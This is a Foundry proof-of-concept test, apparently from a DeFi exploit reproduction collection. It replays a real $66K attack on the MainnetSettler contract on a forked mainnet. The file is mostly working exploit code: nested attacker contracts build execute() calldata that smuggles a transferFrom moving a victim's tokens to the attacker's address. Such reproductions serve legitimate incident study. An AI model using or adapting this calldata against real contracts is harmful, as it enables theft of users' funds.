src/test/2024-11/MainnetSettler_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : $66K
7// Attacker : https://etherscan.io/address/0x3a38877312d1125d2391663cba9f7190953bf2d9
8// Attack Contract : https://etherscan.io/address/0x285d37b0480910f977cd43c9bd228527bfad816e, https://etherscan.io/address/0x95b4fecf1f5b9c56ce51ebfedd582c5f40f2ef8c
9// Vulnerable Contract : 
10// Attack Tx : https://etherscan.io/tx/0xfab5912f858b3768b7b7d312abcc02b64af7b1e1b62c4f29a2c1a2d1568e9fa2
11 
12// @Info
13// Vulnerable Contract Code : 
14 
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1859416451473604902
17// Twitter Guy : https://x.com/TenArmorAlert/status/1859416451473604902
18// Hacking God : N/A
19 
20address constant MainnetSettler = 0x70bf6634eE8Cb27D04478f184b9b8BB13E5f4710;
21address constant attacker = 0x3A38877312D1125d2391663CBa9f7190953Bf2d9;
22address constant hold = 0x68B36248477277865c64DFc78884Ef80577078F3;
23address constant addr3 = 0xA31d98b1aA71a99565EC2564b81f834E90B1097b;
24 
25contract ContractTest is Test {
26    function setUp() public {
27        vm.createSelectFork("mainnet", 21230768-1);
28    }
29    
30    function testPoC() public {
31        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(hold).balanceOf(attacker), 18);
32        vm.startPrank(attacker, attacker);
33        AttackerC attC = new AttackerC();
34        vm.stopPrank();
35        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(hold).balanceOf(attacker), 18);
36    }
37}
38 
39contract AttackerC {
40    constructor() {
41        new AttackerCC();
42    } 
43}
44 
45contract AttackerCC {
46    constructor() {
47        bytes32 fixeddata = hex"e0b1db9e7c871328327e3f9e0000000000000000000000000000000000000000";
48 
49        bytes memory call1 = abi.encodeWithSelector(
50            bytes4(0x38c9c147),
51            uint256(0),
52            uint256(10000),
53            address(hold),
54            uint256(0),
55            uint256(160),
56            uint256(100)
57        );
58 
59        bytes memory call2 = abi.encodeWithSelector(
60            bytes4(0x23b872dd),
61            address(addr3),
62            address(attacker),
63            uint256(308453642481581939556432141)
64        );
65 
66        bytes[] memory actions = new bytes[](1);
67        actions[0] = abi.encodePacked(call1,call2);
68    
69        IMainnetSettler.Slippage[] memory slippages = new IMainnetSettler.Slippage[](1);
70        slippages[0] = IMainnetSettler.Slippage({
71            recipient: address(0),
72            buyToken: address(0),
73            minAmountOut: 0      
74        });
75 
76        bytes memory data = abi.encodeWithSelector(
77            IMainnetSettler.execute.selector,
78            slippages[0],
79            actions,
80            fixeddata
81        );
82        (bool ok, ) = MainnetSettler.call(data);
83    }
84}
85 
86interface IMainnetSettler {
87    struct Slippage {
88        address recipient;
89        address buyToken;
90        uint256 minAmountOut;
91    }
92	function execute(Slippage calldata, bytes[] calldata, bytes32) external returns (bool); 
93}